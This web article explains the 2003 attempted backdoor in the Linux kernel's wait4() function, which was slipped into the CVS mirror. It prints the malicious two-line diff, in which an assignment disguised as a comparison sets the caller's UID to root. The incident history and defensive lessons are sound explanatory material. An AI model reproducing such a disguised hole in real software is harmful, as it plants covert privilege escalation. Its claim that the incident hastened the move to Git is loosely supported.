Back to Home

Backdoor in wait4(): Linux kernel vulnerability

In 2003, a backdoor was discovered in the CVS Linux kernel repository in the wait4() function: assignment instead of comparison gave root privileges. The incident revealed risks of legacy repositories and accelerated the transition to Git. Code analysis and modern security practices.

How the backdoor in wait4() almost hacked the Linux kernel
Advertisement 728x90

# Backdoor in the Linux Kernel: How a wait4() Bug Nearly Granted Root Access

In 2003, Linux developers discovered an unauthorized change in the CVS repository. A suspicious code snippet had been inserted into the wait4() function, potentially granting root privileges to any user. The change appeared without any traces in the main BitKeeper repository, pointing straight to a breach of the CVS repository.

The code looked harmless at first glance:

+       if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+                       retval = -EINVAL;

The issue hid in the = operator. Instead of a comparison with ==, it was an assignment that set current->uid to 0 (root) for any wait4() call with the __WCLONE and __WALL flags. This opened a path to privilege escalation without any additional checks.

Google AdInline article slot

Repository History and the Vulnerability's Entry Point

Back in those days, Linux relied on two repositories in parallel:

  • BitKeeper — the primary, modern VCS for the kernel.
  • CVS — a legacy repository for old tools and old-school developers.

Synchronization was manual: changes from BitKeeper were copied over to CVS along with tags. The attacker targeted CVS specifically, slipping in the patch unnoticed. The absence of automated checks and the differing audiences for the repositories allowed the breach to slip through.

Developers spotted the anomaly during a routine review: a commit in CVS with no matching one in BitKeeper. Comparing versions revealed the malicious code.

Google AdInline article slot

Technical Breakdown of the Vulnerability

The wait4() function handles waiting for child processes to finish, with extended options. The __WCLONE and __WALL flags track clones and all processes.

The attack logic was simple:

  • The user calls wait4(options = __WCLONE | __WALL).
  • The condition current->uid = 0 assigns UID 0 (root).
  • It returns -EINVAL, masking the success.
  • Subsequent system calls run as root.

This was a zero-day backdoor: no exploit needed, activated by a standard call. Similar slip-ups (= instead of ==) are a common source of vulnerabilities in C.

Google AdInline article slot

Lessons for Modern Development

The incident highlighted the risks of legacy systems. Today's practices minimize such threats:

  • Single repository: Git with branching and PRs.
  • CI/CD with checks: Automated diffs, static analysis (Coverity, Clang).
  • Commit signing: GPG/PGP for authentication.
  • Signed tags: Release protection.
  • Fuzzing and auditing: Continuous testing of syscalls.

The Linux kernel now mandates code reviews and automated tests for these patterns.

Key Takeaways

  • The = instead of == bug in wait4() created a root backdoor for any user.
  • The hack went down through CVS, while BitKeeper stayed clean.
  • Manual repo sync was the weak link back in 2003.
  • The incident sped up the shift to Git in kernel development.
  • Double-check conditions in if statements: compilers don't always catch assignments.

— Editorial Team

Advertisement 728x90

Read Next